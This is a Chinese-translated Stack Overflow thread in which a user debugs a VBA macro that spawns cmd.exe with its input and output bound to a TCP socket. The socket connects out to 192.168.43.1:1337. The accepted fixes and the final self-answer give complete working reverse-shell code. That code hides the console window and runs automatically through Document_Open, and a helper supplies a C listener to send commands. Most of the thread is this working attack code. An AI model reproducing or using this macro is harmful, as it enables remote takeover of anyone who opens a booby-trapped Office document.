VBA CreateProcess 将 StdIn 和 StdOut 重定向到 Socket？

【问题标题】：VBA CreateProcessA redirect StdIn & StdOut to Socket?VBA CreateProcess 将 StdIn 和 StdOut 重定向到 Socket？
【发布时间】：2021-04-18 23:36:33
【问题描述】：

所以我正在尝试编写调用“CreateProcessA”的 VBA 来启动“cmd.exe”进程并将标准输入、标准输出和标准错误重定向到连接到远程计算机的套接字。

目前，除了输出没有重定向到套接字之外，几乎一切似乎都在工作。当我运行代码时，它会在远程计算机上显示已收到连接，但随后 cmd 窗口只会在运行 VBA 的计算机上打开，仅此而已。任何人都知道为什么我无法重定向到套接字？我的代码如下。提前感谢您的帮助:)

Const ip = "192.168.43.1"
Const port = "1337"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255

' Typ definitions ----------------------------------------------------
Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr 'strptr
    ai_addr As LongPtr 'p sockaddr
    ai_next As LongPtr 'p addrinfo
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type WSAPROTOCOLCHAIN
    ChainLen As Long
    ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type

Private Type GUID
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(7) As Byte
End Type

Private Type WSAPROTOCOL_INFO
    dwServiceFlags1 As Long
    dwServiceFlags2 As Long
    dwServiceFlags3 As Long
    dwServiceFlags4 As Long
    dwProviderFlags As Long
    ProviderId As GUID
    dwCatalogEntryId As Long
    ProtocolChain As WSAPROTOCOLCHAIN
    iVersion As Long
    iAddressFamily As Long
    iMaxSockAddr As Long
    iMinSockAddr As Long
    iSocketType As Long
    iProtocol As Long
    iProtocolMaxOffset As Long
    iNetworkByteOrder As Long
    iSecurityScheme As Long
    dwMessageSize As Long
    dwProviderReserved As Long
    szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type

Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As LongPtr
    bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal stype As Long, ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal buf As String, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Byte, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal bufPtr As Long, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As LongPtr, ByVal g As Long, ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
    Dim protoInfo As WSAPROTOCOL_INFO

    'Socket Settings
    RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)

        If (m_ConnSocket = INVALID_SOCKET) Then
            MsgBox "Error opening socket, error " & RetVal & WSAGetLastError()
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If

            MsgBox ("connect() to socket failed")
            closesocket (m_ConnSocket)
        End If
    Loop

    If Not connected Then
        MsgBox ("Fatal error: unable to connect to the server")
        'MsgBox (WSAGetLastError())
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim secAttrPrc As SECURITY_ATTRIBUTES
    secAttrPrc.nLength = Len(secAttrPrc)
    Dim secAttrThr As SECURITY_ATTRIBUTES
    secAttrThr.nLength = Len(secAttrThr)
    
    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString, "cmd.exe", secAttrPrc, secAttrThr, True, 0, 0, Environ("USERPROFILE"), si, pi)
    'MsgBox (worked)
    If worked Then
        MsgBox ("Worked!")
    Else
        MsgBox ("Didn't work")
    End If
End Function

【问题讨论】：

  • ws_socket 声明/实现在哪里？ WSASocket() 接受 6 个参数，但这段代码只传递了 3 个参数。请参阅 Redirect IO of process to Windows socket 了解如何使用套接字进行 CreateProcess() 重定向。
  • @RemyLebeau 抱歉，我只添加了我认为是代码的相关部分。刚刚更新以包含所有内容。我使用的是 ws2_32 的 socket() 函数，而不是 WSASocket()。
  • 根据this answer，您不能将socket() 与CreateProcess() I/O 重定向一起使用，您需要改用WSASocket()，以便您可以禁用 WSA_FLAG_OVERLAPPED 选项（socket() 启用）。 CreateProcess() I/O 重定向不适用于重叠的 I/O 对象。
  • @RemyLebeau 我试试看，谢谢！
  • @RemyLebeau 所以我用对 WSASocketA 的调用替换了对 ws_socket 的调用，现在我根本无法连接回远程机器。我更新了上面的代码以反映我所做的更改。有什么想法吗？

标签： vba sockets winapi process createprocess


【解决方案1】：

我可以使用 msdn 示例：Server 和 Client（在其中添加了 create cmd 进程）。

我还可以在 VBA 中使用您的示例重现此问题。当我使用您定义的WSASocketA 时，我在lpProtocolInfo As WSAPROTOCOL_INFOA 处收到编译错误

编译错误：ByRef 参数类型不匹配

由于是指针类型，我修改为ByVal lpProtocolInfo As LongPtr。

更重要的是，你设置了ZeroMemorySTARTUPINFO，那么你设置的所有句柄都会被丢弃。 把初始化放在开头：

Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket

然后它对我有用。

更新：

lpProtocolInfo As LongPtr你没有在你更新的代码中添加ByVal，然后我可以用它来工作。

磁盘空间不足

这可能与您服务器端的字符串处理有关。您需要将后缀“\r\n”添加到您发送的 cmd 字符串中。我使用msdn上的Server示例，并修改do-while{}部分：

do {
    Sleep(1000);
    iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
    if (iResult > 0) {
        recvbuf[iResult] = L'\0';
        printf("%s", recvbuf);
    }
    char sendcmd[512] = { 0 };
    fgets(sendcmd, 512, stdin);
    int len = strlen(sendcmd); // "test\n"
    sendcmd[len - 1] = '\r'; //"test\r"
    sendcmd[len] = '\n';    //"test\r\n"
    iSendResult = send(ClientSocket, sendcmd, len+1, 0); //without '\0'
    if (iSendResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ClientSocket);
        WSACleanup();
        return 1;
    }
    if (strncmp(sendcmd, "exit", 4) == 0)
        break;
} while (iResult > 0);

另外，可以为CreateProcess指定CREATE_NO_WINDOW，这样就不会在客户端创建cmd窗口了。

结果（我在 localhost:127.0.0.1 测试它）：

【讨论】：

  • 你向WSASocketA()传递了什么？因为我在使用它时仍然收到INVALID_SOCKET。感谢您指出 ZeroMemory 错误！
  • 和你一样：m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)。对于其他人，我只是修改 ip 和 port 的值
  • 我更新了我上面的代码，你就是这样吗？因为目前，我仍然没有连接，WSASocketA 仍在返回 INVALID_SOCKET
  • 好的，我让WSASocketA 开始工作，现在我正在接收连接。但是，在 VBA 方面，会打开一个 cmd 窗口并显示 The handle is invalid，但我实际上可以从远程计算机运行命令，例如执行 calc.exe，这确实有效！但我无法收到任何输出。如果我运行dir，它会在cmd 窗口There is not enough space on the disk 的VBA 端显示。知道问题可能是什么吗？
  • 可能与服务器对字符串的处理有关，见我的更新。
【解决方案2】：

好的，所以我终于让它工作了。感谢这个帖子中的一些用户，我遇到了一些我能够解决的问题。首先，我必须使用WSASocketA() 而不是socket()，因为您无法将进程IO 重定向到使用socket() 创建的套接字。我遇到的其他问题是 VBA 和 C 类型之间的类型不匹配。下面是更新后的代码，这里还有一个包含代码的 github 链接：https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell

Const ip = "192.168.43.1"
Const port = "1337"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1

Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr
    ai_addr As LongPtr
    ai_next As LongPtr
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As String
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512

    RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
        
        If (m_ConnSocket = INVALID_SOCKET) Then
            revShell = False
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If
            
            closesocket (m_ConnSocket)
            revShell = False
        End If
    Loop

    If Not connected Then
        revShell = False
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
    revShell = worked
End Function

Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
    MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function

Private Sub Document_Open()
    Dim success As Boolean
    success = revShell()
End Sub

【讨论】：

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-05-14
    • 2019-01-19
    • 1970-01-01
    • 2014-07-22
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多
    热门标签
    Java Python linux javascript Mysql C# Docker 算法 前端 SpringBoot Redis Vue spring 设计模式 .net core .net kubernetes c++ 数据库 数据结构 大数据 js 机器学习 微服务 Android Go 程序员 面试 JVM ASP.net core 云原生 人工智能 后端 PHP git CSS golang k8s Nginx Django mybatis 深度学习 多线程 React 架构 devops 爬虫 云计算 Spring Boot LeetCode